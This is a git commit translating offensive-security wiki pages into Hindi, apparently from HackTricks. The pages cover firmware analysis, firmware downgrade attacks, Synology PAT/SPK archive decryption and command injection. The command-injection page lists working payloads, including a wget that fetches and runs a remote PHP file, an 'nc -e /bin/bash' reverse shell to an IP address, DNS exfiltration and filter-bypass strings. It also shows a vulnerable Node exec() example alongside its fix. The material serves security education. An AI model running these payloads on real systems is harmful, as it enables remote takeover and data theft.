Translated ['src/hardware-physical-access/firmware-analysis/README.md',

This commit is contained in:
Translator 2025-08-13 22:35:23 +00:00
parent e0a241d17c
commit caf2e06e08
4 changed files with 222 additions and 29 deletions

View File

@ -769,6 +769,7 @@
- [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)

View File

@ -4,14 +4,20 @@
## **Introduction**
Firmware एक आवश्यक सॉफ़्टवेयर है जो उपकरणों को सही ढंग से संचालित करने में सक्षम बनाता है, हार्डवेयर घटकों और सॉफ़्टवेयर के बीच संचार को प्रबंधित और सुविधाजनक बनाता है, जिससे उपयोगकर्ता इंटरैक्ट करते हैं। इसे स्थायी मेमोरी में संग्रहीत किया जाता है, यह सुनिश्चित करते हुए कि उपकरण चालू होने के क्षण से महत्वपूर्ण निर्देशों तक पहुँच सकता है, जो ऑपरेटिंग सिस्टम के लॉन्च की ओर ले जाता है। फर्मवेयर की जांच और संभावित रूप से संशोधन करना सुरक्षा कमजोरियों की पहचान में एक महत्वपूर्ण कदम है।
### Related resources
{{#ref}}
synology-encrypted-archive-decryption.md
{{#endref}}
Firmware एक आवश्यक सॉफ़्टवेयर है जो उपकरणों को सही ढंग से कार्य करने में सक्षम बनाता है, हार्डवेयर घटकों और उपयोगकर्ताओं के साथ बातचीत करने वाले सॉफ़्टवेयर के बीच संचार को प्रबंधित और सुविधाजनक बनाता है। इसे स्थायी मेमोरी में संग्रहीत किया जाता है, यह सुनिश्चित करते हुए कि उपकरण चालू होने के क्षण से महत्वपूर्ण निर्देशों तक पहुँच सकता है, जो ऑपरेटिंग सिस्टम के लॉन्च की ओर ले जाता है। फर्मवेयर की जांच करना और संभावित रूप से इसे संशोधित करना सुरक्षा कमजोरियों की पहचान में एक महत्वपूर्ण कदम है।
## **Gathering Information**
**Gathering information** एक महत्वपूर्ण प्रारंभिक कदम है जो एक उपकरण की संरचना और इसके द्वारा उपयोग की जाने वाली तकनीकों को समझने में मदद करता है। इस प्रक्रिया में निम्नलिखित डेटा एकत्र करना शामिल है:
- CPU आर्किटेक्चर और जिस ऑपरेटिंग सिस्टम पर यह चलता है
- बूटलोडर विशिष्टताएँ
- बूटलोडर की विशिष्टताएँ
- हार्डवेयर लेआउट और डेटा शीट
- कोडबेस मैट्रिक्स और स्रोत स्थान
- बाहरी पुस्तकालय और लाइसेंस प्रकार
@ -25,17 +31,17 @@ Firmware एक आवश्यक सॉफ़्टवेयर है जो
फर्मवेयर प्राप्त करने के लिए विभिन्न तरीकों का उपयोग किया जा सकता है, प्रत्येक की अपनी जटिलता का स्तर है:
- **Directly** स्रोत से (डेवलपर्स, निर्माताओं)
- **Directly** स्रोत (डेवलपर्स, निर्माताओं) से
- **Building** इसे प्रदान की गई निर्देशों से
- **Downloading** आधिकारिक समर्थन साइटों से
- होस्ट किए गए फर्मवेयर फ़ाइलों को खोजने के लिए **Google dork** क्वेरी का उपयोग करना
- **cloud storage** तक सीधे पहुँच प्राप्त करना, जैसे कि [S3Scanner](https://github.com/sa7mon/S3Scanner) जैसे उपकरणों के साथ
- मैन-इन-द-मिडल तकनीकों के माध्यम से **updates** को इंटरसेप्ट करना
- मैन-इन-द-मिडिल तकनीकों के माध्यम से **updates** को इंटरसेप्ट करना
- **Extracting** उपकरण से कनेक्शनों के माध्यम से जैसे **UART**, **JTAG**, या **PICit**
- उपकरण संचार के भीतर अपडेट अनुरोधों के लिए **Sniffing**
- **hardcoded update endpoints** की पहचान और उपयोग करना
- **hardcoded update endpoints** की पहचान करना और उनका उपयोग करना
- बूटलोडर या नेटवर्क से **Dumping**
- जब सभी अन्य विफल हो जाएं, तो उचित हार्डवेयर उपकरणों का उपयोग करके स्टोरेज चिप को **Removing and reading**
- जब सब कुछ विफल हो जाए, तो उचित हार्डवेयर उपकरणों का उपयोग करके स्टोरेज चिप को **Removing and reading**
## Analyzing the firmware
@ -48,7 +54,7 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
यदि आप उन उपकरणों के साथ ज्यादा कुछ नहीं पाते हैं, तो `binwalk -E <bin>` के साथ छवि की **entropy** की जांच करें, यदि entropy कम है, तो यह संभावना नहीं है कि यह एन्क्रिप्टेड है। यदि entropy उच्च है, तो यह संभावना है कि यह एन्क्रिप्टेड है (या किसी तरह से संकुचित है)।
यदि आप उन उपकरणों के साथ ज्यादा कुछ नहीं पाते हैं, तो `binwalk -E <bin>` के साथ छवि की **entropy** की जांच करें, यदि entropy कम है, तो यह संभावना नहीं है कि यह एन्क्रिप्टेड है। यदि entropy उच्च है, तो यह संभावना है कि यह एन्क्रिप्टेड है (या किसी न किसी तरीके से संकुचित है)।
इसके अलावा, आप इन उपकरणों का उपयोग **फर्मवेयर के अंदर एम्बेडेड फ़ाइलों** को निकालने के लिए कर सकते हैं:
@ -113,7 +119,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
## फर्मवेयर का विश्लेषण
एक बार फर्मवेयर प्राप्त हो जाने के बाद, इसकी संरचना और संभावित कमजोरियों को समझने के लिए इसे विश्लेषित करना आवश्यक है। इस प्रक्रिया में फर्मवेयर इमेज से मूल्यवान डेटा का विश्लेषण और निकालने के लिए विभिन्न उपकरणों का उपयोग करना शामिल है।
एक बार फर्मवेयर प्राप्त हो जाने के बाद, इसकी संरचना और संभावित कमजोरियों को समझने के लिए इसे विश्लेषित करना आवश्यक है। इस प्रक्रिया में फर्मवेयर छवि से मूल्यवान डेटा का विश्लेषण और निकालने के लिए विभिन्न उपकरणों का उपयोग करना शामिल है।
### प्रारंभिक विश्लेषण उपकरण
@ -156,19 +162,19 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) और [**Firmwalker**](https://github.com/craigz28/firmwalker) संवेदनशील जानकारी खोजने के लिए
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) व्यापक फ़र्मवेयर विश्लेषण के लिए
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), और [**EMBA**](https://github.com/e-m-b-a/emba) स्थिर और गतिशील विश्लेषण के लिए
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), और [**EMBA**](https://github.com/e-m-b-a/emba) स्थैतिक और गतिशील विश्लेषण के लिए
### संकलित बाइनरीज़ पर सुरक्षा जांच
फ़ाइल सिस्टम में पाए गए स्रोत कोड और संकलित बाइनरीज़ की कमजोरियों के लिए जांच की जानी चाहिए। **checksec.sh** जैसे उपकरण यूनिक्स बाइनरीज़ के लिए और **PESecurity** विंडोज बाइनरीज़ के लिए उन असुरक्षित बाइनरीज़ की पहचान करने में मदद करते हैं जिन्हें शोषित किया जा सकता है।
फ़ाइल सिस्टम में पाए गए स्रोत कोड और संकलित बाइनरीज़ की कमजोरियों के लिए जांच करनी चाहिए। **checksec.sh** जैसे उपकरण Unix बाइनरीज़ के लिए और **PESecurity** Windows बाइनरीज़ के लिए उन असुरक्षित बाइनरीज़ की पहचान करने में मदद करते हैं जिन्हें शोषित किया जा सकता है।
## गतिशील विश्लेषण के लिए फ़र्मवेयर का अनुकरण
फ़र्मवेयर का अनुकरण करने की प्रक्रिया **गतिशील विश्लेषण** को सक्षम बनाती है, चाहे वह किसी डिवाइस का संचालन हो या एक व्यक्तिगत प्रोग्राम। इस दृष्टिकोण में हार्डवेयर या आर्किटेक्चर निर्भरताओं के साथ चुनौतियाँ आ सकती हैं, लेकिन रूट फ़ाइल सिस्टम या विशिष्ट बाइनरीज़ को मिलते-जुलते आर्किटेक्चर और एंडियननेस वाले डिवाइस, जैसे कि एक Raspberry Pi, या एक पूर्व-निर्मित वर्चुअल मशीन में स्थानांतरित करना आगे के परीक्षण को सुविधाजनक बना सकता है।
फ़र्मवेयर का अनुकरण करने की प्रक्रिया **गतिशील विश्लेषण** को सक्षम बनाती है, चाहे वह किसी डिवाइस का संचालन हो या एक व्यक्तिगत प्रोग्राम। इस दृष्टिकोण में हार्डवेयर या आर्किटेक्चर निर्भरताओं के साथ चुनौतियाँ आ सकती हैं, लेकिन रूट फ़ाइल सिस्टम या विशिष्ट बाइनरीज़ को मिलती-जुलती आर्किटेक्चर और एंडियननेस वाले डिवाइस, जैसे कि Raspberry Pi, या पूर्व-निर्मित वर्चुअल मशीन में स्थानांतरित करना आगे के परीक्षण को सुविधाजनक बना सकता है।
### व्यक्तिगत बाइनरीज़ का अनुकरण
एकल प्रोग्राम की जांच के लिए, प्रोग्राम क एंडियननेस और CPU आर्किटेक्चर की पहचान करना महत्वपूर्ण है।
एकल प्रोग्राम की जांच के लिए, प्रोग्राम क एंडियननेस और CPU आर्किटेक्चर की पहचान करना महत्वपूर्ण है।
#### MIPS आर्किटेक्चर के साथ उदाहरण
@ -180,7 +186,7 @@ file ./squashfs-root/bin/busybox
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
For MIPS (big-endian), `qemu-mips` का उपयोग किया जाता है, और little-endian बाइनरी के लिए, `qemu-mipsel` विकल्प होगा।
MIPS (बिग-एंडियन) के लिए, `qemu-mips` का उपयोग किया जाता है, और छोटे-एंडियन बाइनरी के लिए, `qemu-mipsel` विकल्प होगा।
#### ARM आर्किटेक्चर अनुकरण
@ -208,24 +214,24 @@ ARM बाइनरी के लिए, प्रक्रिया समा
## फर्मवेयर का विश्लेषण करने के लिए तैयार OSs
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS एक डिस्ट्रीब्यूशन है जिसका उद्देश्य आपको इंटरनेट ऑफ थिंग्स (IoT) उपकरणों की सुरक्षा मूल्यांकन और पेनटेस्टिंग करने में मदद करना है। यह आपको सभी आवश्यक उपकरणों के साथ पूर्व-निर्धारित वातावरण प्रदान करके बहुत सारा समय बचाता है।
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS एक वितरण है जो आपको इंटरनेट ऑफ थिंग्स (IoT) उपकरणों की सुरक्षा मूल्यांकन और पेनटेस्टिंग करने में मदद करने के लिए बनाया गया है। यह आपको सभी आवश्यक उपकरणों के साथ पूर्व-निर्धारित वातावरण प्रदान करके बहुत सारा समय बचाता है।
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): फर्मवेयर सुरक्षा परीक्षण उपकरणों के साथ पूर्व-लोडेड Ubuntu 18.04 पर आधारित एम्बेडेड सुरक्षा परीक्षण ऑपरेटिंग सिस्टम।
## फर्मवेयर डाउनग्रेड हमले और असुरक्षित अपडेट तंत्र
यहां तक कि जब एक विक्रेता फर्मवेयर छवियों के लिए क्रिप्टोग्राफिक हस्ताक्षर जांच लागू करता है, **संस्करण रोलबैक (डाउनग्रेड) सुरक्षा अक्सर छोड़ दी जाती है**। जब बूट- या रिकवरी-लोडर केवल एक अंतर्निहित सार्वजनिक कुंजी के साथ हस्ताक्षर की पुष्टि करता है लेकिन छवि के *संस्करण* (या एक मोनोटोनिक काउंटर) की तुलना नहीं करता है, तो एक हमलावर एक **पुरानी, कमजोर फर्मवेयर को वैध हस्ताक्षर के साथ स्थापित कर सकता है** और इस प्रकार पैच की गई कमजोरियों को फिर से पेश कर सकता है।
यहां तक कि जब एक विक्रेता फर्मवेयर छवियों के लिए क्रिप्टोग्राफिक हस्ताक्षर जांच लागू करता है, **संस्करण रोलबैक (डाउनग्रेड) सुरक्षा अक्सर छोड़ दी जाती है**। जब बूट- या रिकवरी-लोडर केवल एक अंतर्निहित सार्वजनिक कुंजी के साथ हस्ताक्षर की पुष्टि करता है लेकिन फ्लैश की जा रही छवि के *संस्करण* (या एक मोनोटोनिक काउंटर) की तुलना नहीं करता है, तो एक हमलावर एक **पुरानी, कमजोर फर्मवेयर को वैध हस्ताक्षर के साथ स्थापित कर सकता है** और इस प्रकार पैच की गई कमजोरियों को फिर से पेश कर सकता है।
सामान्य हमले का कार्यप्रवाह:
टिपिकल हमले का कार्यप्रवाह:
1. **एक पुरानी हस्ताक्षरित छवि प्राप्त करें**
* इसे विक्रेता के सार्वजनिक डाउनलोड पोर्टल, CDN या समर्थन साइट से प्राप्त करें।
* इसे साथी मोबाइल/डेस्कटॉप अनुप्रयोगों से निकालें (जैसे, एक Android APK के अंदर `assets/firmware/` के तहत)।
* इसे सहायक मोबाइल/डेस्कटॉप अनुप्रयोगों से निकालें (जैसे, `assets/firmware/` के तहत एक Android APK के अंदर)।
* इसे तीसरे पक्ष के रिपॉजिटरी जैसे VirusTotal, इंटरनेट आर्काइव, फोरम आदि से प्राप्त करें।
2. **किसी भी उजागर अपडेट चैनल के माध्यम से डिवाइस पर छवि अपलोड या सेवा करें:**
2. **छवि को डिवाइस पर अपलोड या सेवा करें** किसी भी उजागर अपडेट चैनल के माध्यम से:
* वेब UI, मोबाइल-ऐप API, USB, TFTP, MQTT, आदि।
* कई उपभोक्ता IoT उपकरण *अप्रमाणित* HTTP(S) एंडपॉइंट्स को उजागर करते हैं जो Base64-कोडित फर्मवेयर ब्लॉब्स को स्वीकार करते हैं, उन्हें सर्वर-साइड पर डिकोड करते हैं और रिकवरी/अपग्रेड को ट्रिगर करते हैं।
3. डाउनग्रेड के बाद, एक कमजोरियों का शोषण करें जो नए रिलीज़ में पैच की गई थी (उदाहरण के लिए, एक कमांड-इंजेक्शन फ़िल्टर जो बाद में जोड़ा गया था)।
4. वैकल्पिक रूप से नवीनतम छवि को फिर से फ्लैश करें या पहचान से बचने के लिए अपडेट को बंद करें जब स्थायीता प्राप्त हो जाए।
4. वैकल्पिक रूप से नवीनतम छवि को फिर से फ्लैश करें या पहचान से बचने के लिए अपडेट को बंद करें जब स्थिरता प्राप्त हो जाए।
### उदाहरण: डाउनग्रेड के बाद कमांड इंजेक्शन
```http
@ -238,7 +244,7 @@ In the vulnerable (downgraded) firmware, the `md5` parameter is concatenated dir
### Extracting Firmware From Mobile Apps
कई विक्रेता अपने सहायक मोबाइल अनुप्रयोगों के अंदर पूर्ण फर्मवेयर छवियों को बंडल करते हैं ताकि ऐप डिवाइस को Bluetooth/Wi-Fi के माध्यम से अपडेट कर सके। ये पैकेज आमतौर पर APK/APEX में `assets/fw/` या `res/raw/` जैसे पथों के तहत अनएन्क्रिप्टेड रूप में संग्रहीत होते हैं। उपकरण जैसे `apktool`, `ghidra`, या यहां तक कि साधारण `unzip` आपको भौतिक हार्डवेयर को छुए बिना साइन की गई छवियों को खींचने की अनुमति देते हैं।
कई विक्रेता अपने सहायक मोबाइल अनुप्रयोगों के अंदर पूर्ण फर्मवेयर छवियों को बंडल करते हैं ताकि ऐप डिवाइस को Bluetooth/Wi-Fi के माध्यम से अपडेट कर सके। ये पैकेज आमतौर पर APK/APEX में `assets/fw/` या `res/raw/` जैसे पथों के तहत अनएन्क्रिप्टेड रूप में संग्रहीत होते हैं। `apktool`, `ghidra`, या यहां तक कि साधारण `unzip` जैसे उपकरण आपको भौतिक हार्डवेयर को छुए बिना साइन की गई छवियों को खींचने की अनुमति देते हैं।
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware

View File

@ -0,0 +1,162 @@
# Synology PAT/SPK Encrypted Archive Decryption
{{#include ../../banners/hacktricks-training.md}}
## Overview
कई Synology उपकरण (DSM/BSM NAS, BeeStation, …) अपने फर्मवेयर और एप्लिकेशन पैकेज को **encrypted PAT / SPK archives** में वितरित करते हैं। ये आर्काइव *ऑफलाइन* केवल सार्वजनिक डाउनलोड फ़ाइलों के साथ डिक्रिप्ट किए जा सकते हैं, धन्यवाद हार्ड-कोडेड कुंजी जो आधिकारिक निष्कर्षण पुस्तकालयों के अंदर एम्बेडेड हैं।
यह पृष्ठ चरण-दर-चरण दस्तावेज करता है कि एन्क्रिप्टेड प्रारूप कैसे काम करता है और प्रत्येक पैकेज के अंदर स्थित स्पष्ट-टेक्स्ट **TAR** को पूरी तरह से कैसे पुनर्प्राप्त किया जाए। यह प्रक्रिया Synacktiv द्वारा Pwn2Own Ireland 2024 के दौरान किए गए शोध पर आधारित है और ओपन-सोर्स टूल [`synodecrypt`](https://github.com/synacktiv/synodecrypt) में लागू की गई है।
> ⚠️ प्रारूप `*.pat` (सिस्टम अपडेट) और `*.spk` (एप्लिकेशन) आर्काइव के लिए बिल्कुल समान है - वे केवल चयनित हार्ड-कोडेड कुंजियों के जोड़े में भिन्न होते हैं।
---
## 1. Grab the archive
फर्मवेयर/एप्लिकेशन अपडेट सामान्यतः Synology के सार्वजनिक पोर्टल से डाउनलोड किया जा सकता है:
```bash
$ wget https://archive.synology.com/download/Os/BSM/BSM_BST150-4T_65374.pat
```
## 2. PAT संरचना को डंप करें (वैकल्पिक)
`*.pat` इमेज स्वयं एक **cpio बंडल** हैं जो कई फ़ाइलों (बूट लोडर, कर्नेल, rootfs, पैकेज…) को एम्बेड करती हैं। मुफ्त उपयोगिता [`patology`](https://github.com/sud0woodo/patology) उस लपेटने की जांच करने के लिए सुविधाजनक है:
```bash
$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
[…]
$ ls
DiskCompatibilityDB.tar hda1.tgz rd.bin packages/ …
```
For `*.spk` आप सीधे चरण 3 पर जा सकते हैं।
## 3. Synology निष्कर्षण पुस्तकालयों को निकालें
वास्तविक डिक्रिप्शन लॉजिक यहाँ है:
* `/usr/syno/sbin/synoarchive` → मुख्य CLI रैपर
* `/usr/lib/libsynopkg.so.1` → DSM UI से रैपर को कॉल करता है
* `libsynocodesign.so` → **क्रिप्टोग्राफिक कार्यान्वयन शामिल है**
दोनों बाइनरी सिस्टम रूटफाइल सिस्टम (`hda1.tgz`) **और** संकुचित init-rd (`rd.bin`) में मौजूद हैं। यदि आपके पास केवल PAT है, तो आप उन्हें इस तरह प्राप्त कर सकते हैं:
```bash
# rd.bin is LZMA-compressed CPIO
$ lzcat rd.bin | cpio -id 2>/dev/null
$ file usr/lib/libsynocodesign.so
usr/lib/libsynocodesign.so: ELF 64-bit LSB shared object, ARM aarch64, …
```
## 4. हार्ड-कोडेड कुंजियों को पुनर्प्राप्त करें (`get_keys`)
`libsynocodesign.so` के अंदर `get_keys(int keytype)` फ़ंक्शन बस अनुरोधित आर्काइव परिवार के लिए दो 128-बिट वैश्विक चर लौटाता है:
```c
case 0: // PAT (system)
case 10:
case 11:
signature_key = qword_23A40;
master_key = qword_23A68;
break;
case 3: // SPK (applications)
signature_key = qword_23AE0;
master_key = qword_23B08;
break;
```
* **signature_key** → Ed25519 सार्वजनिक कुंजी जो संग्रह हेडर को सत्यापित करने के लिए उपयोग की जाती है।
* **master_key** → रूट कुंजी जो प्रति-संग्रह एन्क्रिप्शन कुंजी निकालने के लिए उपयोग की जाती है।
आपको प्रत्येक DSM प्रमुख संस्करण के लिए केवल एक बार इन दो स्थिरांक को डंप करना है।
## 5. हेडर संरचना और हस्ताक्षर सत्यापन
`synoarchive_open()``support_format_synoarchive()``archive_read_support_format_synoarchive()` निम्नलिखित कार्य करता है:
1. मैजिक पढ़ें (3 बाइट) `0xBFBAAD` **या** `0xADBEEF`
2. लिटिल-एंडियन 32-बिट `header_len` पढ़ें।
3. `header_len` बाइट्स + अगली **0x40-बाइट Ed25519 हस्ताक्षर** पढ़ें।
4. सभी एम्बेडेड सार्वजनिक कुंजियों पर दोहराएं जब तक `crypto_sign_verify_detached()` सफल न हो जाए।
5. **MessagePack** के साथ हेडर को डिकोड करें, yielding:
```python
[
data: bytes,
entries: [ [size: int, sha256: bytes], … ],
archive_description: bytes,
serial_number: [bytes],
not_valid_before: int
]
```
`entries` बाद में libarchive को प्रत्येक फ़ाइल की सत्यता की जांच करने की अनुमति देता है जब इसे डिक्रिप्ट किया जाता है।
## 6. प्रति-आर्काइव उप-कुंजी निकालें
MessagePack हेडर में निहित `data` ब्लॉब से:
* `subkey_id` = little-endian `uint64` ऑफ़सेट 0x10 पर
* `ctx` = ऑफ़सेट 0x18 पर 7 बाइट्स
32-बाइट **स्ट्रीम कुंजी** libsodium के साथ प्राप्त की जाती है:
```c
crypto_kdf_derive_from_key(kdf_subkey, 32, subkey_id, ctx, master_key);
```
## 7. Synology का कस्टम **libarchive** बैकएंड
Synology एक पैच किया हुआ libarchive बंडल करता है जो एक नकली "tar" फॉर्मेट को रजिस्टर करता है जब भी मैजिक `0xADBEEF` होता है:
```c
register_format(
"tar", spk_bid, spk_options,
spk_read_header, spk_read_data, spk_read_data_skip,
NULL, spk_cleanup, NULL, NULL);
```
### spk_read_header()
```
- Read 0x200 bytes
- nonce = buf[0:0x18]
- cipher = buf[0x18:0x18+0x193]
- crypto_secretstream_xchacha20poly1305_init_pull(state, nonce, kdf_subkey)
- crypto_secretstream_xchacha20poly1305_pull(state, tar_hdr, …, cipher, 0x193)
```
डिक्रिप्ट किया गया `tar_hdr` एक **क्लासिकल POSIX TAR हेडर** है।
### spk_read_data()
```
while (remaining > 0):
chunk_len = min(0x400000, remaining) + 0x11 # +tag
buf = archive_read_ahead(chunk_len)
crypto_secretstream_xchacha20poly1305_pull(state, out, …, buf, chunk_len)
remaining -= chunk_len - 0x11
```
प्रत्येक **0x18-byte nonce** को एन्क्रिप्टेड भाग के पहले जोड़ा जाता है।
एक बार जब सभी प्रविष्टियाँ संसाधित हो जाती हैं, तो libarchive एक पूरी तरह से मान्य **`.tar`** उत्पन्न करता है जिसे किसी भी मानक उपकरण के साथ अनपैक किया जा सकता है।
## 8. सब कुछ synodecrypt के साथ डिक्रिप्ट करें
```bash
$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
[+] found matching keys (SPK)
[+] header signature verified
[+] 104 entries
[+] archive successfully decrypted → SynologyPhotos-rtd1619b-1.7.0-0794.tar
$ tar xf SynologyPhotos-rtd1619b-1.7.0-0794.tar
```
`synodecrypt` स्वचालित रूप से PAT/SPK का पता लगाता है, सही कुंजियाँ लोड करता है और ऊपर वर्णित पूर्ण श्रृंखला लागू करता है।
## 9. सामान्य pitfalls
* `signature_key` और `master_key` को **स्वैप** न करें - वे विभिन्न उद्देश्यों के लिए काम करते हैं।
* **nonce** हर ब्लॉक (हेडर और डेटा) के लिए ciphertext से *पहले* आता है।
* अधिकतम एन्क्रिप्टेड चंक आकार **0x400000 + 0x11** है (libsodium टैग)।
* एक DSM पीढ़ी के लिए बनाए गए आर्काइव अगले रिलीज़ में विभिन्न हार्ड-कोडेड कुंजियों पर स्विच कर सकते हैं।
## 10. अतिरिक्त उपकरण
* [`patology`](https://github.com/sud0woodo/patology) PAT आर्काइव को पार्स/डंप करें।
* [`synodecrypt`](https://github.com/synacktiv/synodecrypt) PAT/SPK/अन्य को डिक्रिप्ट करें।
* [`libsodium`](https://github.com/jedisct1/libsodium) XChaCha20-Poly1305 सीक्रेटस्ट्रीम का संदर्भ कार्यान्वयन।
* [`msgpack`](https://msgpack.org/) हेडर सीरियलाइजेशन।
## संदर्भ
- [Extraction of Synology encrypted archives Synacktiv (Pwn2Own IE 2024)](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [synodecrypt on GitHub](https://github.com/synacktiv/synodecrypt)
- [patology on GitHub](https://github.com/sud0woodo/patology)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,11 +4,11 @@
## What is command Injection?
एक **command injection** एक हमलावर को एक एप्लिकेशन को होस्ट करने वाले सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स को निष्पादित करने की अनुमति देता है। इसके परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किए जा सकते हैं। इन कमांड्स का निष्पादन आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित प्रणाली पर अनधिकृत पहुंच या नियंत्रण प्राप्त करने की अनुमति देता है।
एक **command injection** हमलावर को एक एप्लिकेशन होस्ट करने वाले सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स को निष्पादित करने की अनुमति देता है। इसके परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किए जा सकते हैं। इन कमांड्स का निष्पादन आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित सिस्टम पर अनधिकृत पहुंच या नियंत्रण प्राप्त करने की अनुमति देता है।
### Context
**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर, आपको **उद्धृत संदर्भ को समाप्त** करने की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके) कमांड्स से पहले।
**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर, आपको **उद्धृत संदर्भ को समाप्त करने** की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके) कमांड्स से पहले।
## Command Injection/Execution
```bash
@ -29,15 +29,15 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **सीमाएँ** बायपास
### **Limition** Bypasses
यदि आप **लिनक्स मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **बायपास के बारे में पढ़ने में रुचि रखते होंगे:**
यदि आप **linux मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **Bypasses** के बारे में पढ़ने में रुचि रखते होंगे:
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### **उदाहरण**
### **Examples**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
@ -45,7 +45,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Parameters
यहाँ 25 शीर्ष पैरामीटर हैं जो कोड इंजेक्शन और समान RCE कमजोरियों के लिए संवेदनशील हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
यहाँ शीर्ष 25 पैरामीटर हैं जो कोड इंजेक्शन और समान RCE कमजोरियों के लिए संवेदनशील हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -87,7 +87,7 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS आधारित डेटा एक्सफिल्ट्रेशन
### DNS आधारित डेटा निकासी
`https://github.com/HoLyVieR/dnsbin` से उपकरण के आधार पर, जो dnsbin.zhack.ca पर भी होस्ट किया गया है
```
@ -106,7 +106,7 @@ DNS आधारित डेटा एक्सफिल्ट्रेशन
### फ़िल्टरिंग बाईपास
#### विंडोज
#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
@ -117,7 +117,29 @@ powershell C:**2\n??e*d.*? # notepad
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
## ब्रूट-फोर्स पहचान सूची
### Node.js `child_process.exec` बनाम `execFile`
जब आप JavaScript/TypeScript बैक-एंड का ऑडिट करते हैं, तो आप अक्सर Node.js `child_process` API का सामना करेंगे।
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
```
`exec()` एक **शेल** (`/bin/sh -c`) उत्पन्न करता है, इसलिए कोई भी चर जो शेल के लिए विशेष अर्थ रखता है (बैक-टिक, `;`, `&&`, `|`, `$()`, …) उपयोगकर्ता इनपुट के स्ट्रिंग में संयोजित होने पर **कमांड इंजेक्शन** का परिणाम देगा।
**Mitigation:** `execFile()` (या `spawn()` बिना `shell` विकल्प के) का उपयोग करें और **प्रत्येक तर्क को एक अलग ऐरे तत्व के रूप में प्रदान करें** ताकि कोई शेल शामिल न हो:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
```
वास्तविक दुनिया का मामला: *Synology Photos* ≤ 1.7.0-0794 एक अनधिकृत WebSocket इवेंट के माध्यम से शोषण योग्य था जिसने हमलावर द्वारा नियंत्रित डेटा को `id_user` में रखा, जिसे बाद में `exec()` कॉल में एम्बेड किया गया, RCE प्राप्त करते हुए (Pwn2Own Ireland 2024)।
## ब्रूट-फोर्स डिटेक्शन लिस्ट
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
@ -125,7 +147,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
## संदर्भ
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
